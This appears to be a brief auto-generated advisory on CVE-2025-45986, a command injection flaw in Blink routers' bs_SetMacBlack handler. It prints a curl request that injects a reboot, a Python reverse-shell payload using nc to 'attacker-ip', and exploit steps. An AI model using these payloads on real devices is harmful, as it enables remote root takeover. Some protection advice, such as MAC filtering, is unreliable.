Listen to this Post
How CVE-2025-45986 Works
The vulnerability exists in the `bs_SetMacBlack` function of multiple Blink router models. Attackers can exploit this flaw by injecting malicious commands through the `mac` parameter. Due to insufficient input validation, specially crafted MAC addresses containing shell metacharacters (e.g., ;, |, &) allow arbitrary command execution with root privileges. This occurs because the input is directly concatenated into a system() call without proper sanitization. The exploit can be triggered remotely via HTTP requests to the router’s admin interface, enabling complete device takeover.
DailyCVE Form
Platform: Blink routers
Version: BL-WR9000 V2.4.9, others
Vulnerability: Command injection
Severity: Critical
Date: 07/23/2025
Prediction: Patch by 10/2025
What Undercode Say
curl -X POST -d "mac=;reboot;" http://router-ip/admin/bs_SetMacBlack
payload = "; nc -e /bin/sh attacker-ip 4444;"
requests.post("http://router-ip/admin/bs_SetMacBlack", data={"mac": payload})
How Exploit
1. Craft malicious MAC with command injection
2. Send HTTP POST to `bs_SetMacBlack`
3. Execute arbitrary code as root
Protection from this CVE
- Disable admin interface
- Apply vendor patches
- Use MAC filtering
Impact
- Full device compromise
- Network hijacking
- Data interception
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
